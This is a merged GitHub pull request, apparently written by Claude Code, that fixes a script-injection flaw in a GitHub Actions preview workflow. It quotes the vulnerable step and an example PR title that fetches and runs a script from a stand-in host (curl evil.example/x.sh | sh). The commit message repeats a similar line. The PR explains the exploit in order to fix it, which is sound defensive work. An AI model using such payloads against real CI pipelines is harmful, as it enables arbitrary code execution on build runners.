Skip to content

Fix script injection in PR Playground preview workflow - #17

Merged
roborourke merged 1 commit into
mainfrom
claude/fix-playground-preview-script-injection
Aug 12, 2026
Merged

roborourke merged 1 commit into
mainfrom
claude/fix-playground-preview-script-injection

Conversation

@roborourke

@roborourke roborourke commented Aug 12, 2026 •

Copy link
Copy Markdown
Collaborator

The vulnerability

.github/workflows/pr-playground-preview.yml interpolated the attacker-controlled PR title directly into a run: block:

- name: Update version placeholder
  run: |
      sed -i "s/__VERSION__/Pull Request #${{ github.event.pull_request.number }} - ${{ github.event.pull_request.title }}/g" popup.php

GitHub Actions substitutes ${{ ... }} textually, before the shell parses the script, so the title becomes part of the shell source rather than a shell variable. Opening (or editing) a PR with a crafted title runs arbitrary commands on the runner.

Exact exploit

Set the PR title to:

a"; curl -s https://evil.example/x.sh | sh; #

After expansion the step runs (roughly):

sed -i "s/__VERSION__/Pull Request #42 - a"; curl -s https://evil.example/x.sh | sh; #/g" popup.php

The opening " closes the sed argument string, the ; starts a new command, and # comments out the trailing /g" popup.php. The injected pipeline executes as the github-actions user on the runner. The workflow triggers on pull_request edited, so the title can be weaponised even after CI first runs.

Trigger, token scope, and real severity

  • Trigger: on: pull_request (opened, synchronize, reopened, edited) — not pull_request_target and not issue_comment.
  • Token scope: a fork PR runs with a read-only GITHUB_TOKEN and no access to repository secrets. The permissions: block requests contents: write / pull-requests: write, but GitHub caps a fork PR's token at read-only regardless.

Severity: moderate, not critical. Because the trigger is pull_request and not pull_request_target, an external attacker's injected code runs with a read-only token and no secrets, so it cannot directly push to the repo, mint releases, or exfiltrate secrets. It is not harmless, though: arbitrary code still executes on the runner, and this job uses actions/setup-node with cache: 'npm' — a poisoned npm cache is a plausible escalation path into later runs, including runs on the default branch. A member of the org opening an internal-branch PR would additionally run with a writable token, but that is a trusted actor.

I did not find any pull_request_target or issue_comment trigger in this repo, which would have been materially worse (write token + secrets).

The fix

  1. Drop the PR title entirely. The title was only used as cosmetic text in a placeholder version string; it is never needed. Stamp a fixed, safe 0.0.0-pr<number> string instead — both injection-proof and more useful as an actual version identifier.
  2. Pass the PR number through env: so it reaches the shell as data, not as source text. The number is numeric and therefore safe either way; routing it through env: keeps the pattern consistent and self-documenting.
- name: Update version placeholder
  env:
      PR_NUMBER: ${{ github.event.pull_request.number }}
  run: |
      sed -i "s/__VERSION__/0.0.0-pr${PR_NUMBER}/g" popup.php
      grep -n "Version:" popup.php
  1. Fork guard added — if: github.event.pull_request.head.repo.full_name == github.repository on the job. This workflow force-pushes a pr-<n>-built branch (needs contents: write); on a fork PR the read-only token makes that push hard-fail, so the job is now skipped cleanly on forks instead.

Triage of the remaining ${{ … }} uses in run: blocks

After the fix, every remaining expression interpolated into a run:/shell context is a safe source:

Location Expression Why safe
version step env: github.event.pull_request.number Numeric ID
git checkout -B pr-<n>-built github.event.pull_request.number Numeric ID
git commit -m github.event.pull_request.number, github.sha Numeric ID, commit SHA
git push origin pr-<n>-built github.event.pull_request.number Numeric ID
blueprint heredoc url github.repository, github.event.pull_request.number owner/repo slug, numeric ID
blueprint: input steps.blueprint.outputs.blueprint Internal step output
github-token: input secrets.GITHUB_TOKEN Secret, not shell-interpolated

No attacker-controlled source remains. The numeric-ID uses in later git steps were left as direct interpolation because they are safe; converting them to env: too would be defense-in-depth but is out of scope for this fix.

Scope of the vulnerable file across branches

The vulnerable file lives on main (the default branch), so this PR fixes it at the source; feature branches and the generated pr-<n>-built build branches all inherit the fix once merged. The pattern currently also appears on unmerged feature branches (claude/*, copilot/*, fix/*) and generated pr-*-built branches, but those derive from main and will pick up the fix on their next rebase/rebuild — no separate fix needed there.

Verification

  • python3 -c "import yaml; yaml.safe_load(open('.github/workflows/pr-playground-preview.yml'))" passes (valid YAML).
  • Re-grepped for ${{ inside run: blocks; every remaining hit is triaged in the table above.
  • I cannot execute these workflows to prove the fix at runtime — the injection fix is verified by static reasoning about GitHub Actions expression substitution, not by running it.

Out-of-scope observations (follow-ups, not fixed here)

  • release.yml on main still force-pushes/rewrites a tag on release: created; that is being addressed separately in Switch release workflow to manual trigger with version input #16.
  • Third-party actions in this workflow are pinned by tag (@v4), not by commit SHA. Pinning to SHAs (as the query-filter reference does) would harden the supply chain.
  • The install step uses npm i; npm ci would be more reproducible in CI.

Generated by Claude Code

Open WordPress Playground Preview

The "Update version placeholder" step interpolated the attacker-controlled
${{ github.event.pull_request.title }} directly into a run: block. GitHub
Actions substitutes ${{ ... }} textually before the shell parses the script,
so a PR title such as a"; curl evil.sh | sh; # executed as shell on the
runner.

Drop the title entirely and stamp a fixed, safe "0.0.0-pr<number>" version
string instead, passing the numeric PR number through env: so it reaches the
shell as data rather than as source text. The PR number is numeric and safe.

Also add a fork guard so the job is skipped on fork PRs, whose read-only
token cannot perform the branch push this workflow relies on.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01JuiSYc2zyC3snrT5wKS1iA
@roborourke
roborourke marked this pull request as ready for review August 12, 2026 18:50
@github-actions

github-actions Bot commented Aug 12, 2026 •

Copy link
Copy Markdown

Playwright E2E Test Results (PHP 8.4, WP latest)

passed  25 passed

Details

stats  25 tests across 3 suites
duration  2 minutes, 31 seconds
commit  7d160b1

@roborourke
roborourke merged commit 4a75faf into main Aug 12, 2026
4 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants